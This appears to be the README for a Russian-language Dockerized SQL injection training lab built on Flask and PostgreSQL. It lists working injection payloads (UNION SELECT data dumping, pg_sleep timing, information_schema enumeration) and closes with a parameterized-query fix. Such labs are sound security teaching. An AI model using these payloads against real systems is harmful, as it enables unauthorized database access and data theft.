SQL Injection Demo - Dockerized

• PostgreSQL 15 - база данных

• Flask приложение - уязвимый веб-сервер

• Автоматическая инициализация БД

id	title	content
1	Первая запись	Привет, мир! Это тестовый пост.
2	Вторая запись	SQL инъекции - одна из самых опасных уязвимостей.
3	Третья запись	Всегда используйте подготовленные выражения для запросов.
4	Четвертая запись	Никогда не доверяйте пользовательскому вводу.
5	Пятая запись	Регулярно обновляйте ваше программное обеспечение.

🎯 Рабочие примеры для PostgreSQL

' OR 1=1 UNION SELECT id, title, CAST(price AS text) FROM products-- - все товары
'; SELECT pg_sleep(5)-- - задержка 5 секунд

'; SELECT table_name FROM information_schema.tables -- - имена всех таблиц
'; SELECT column_name FROM information_schema.columns WHERE table_name='data_table' - список всех полей в таблице

Используйте параметризованные запросы:

Безопасный код:
cursor.execute("SELECT * FROM users WHERE name LIKE %s OR email LIKE %s",
(f'%{search_query}%', f'%{search_query}%'))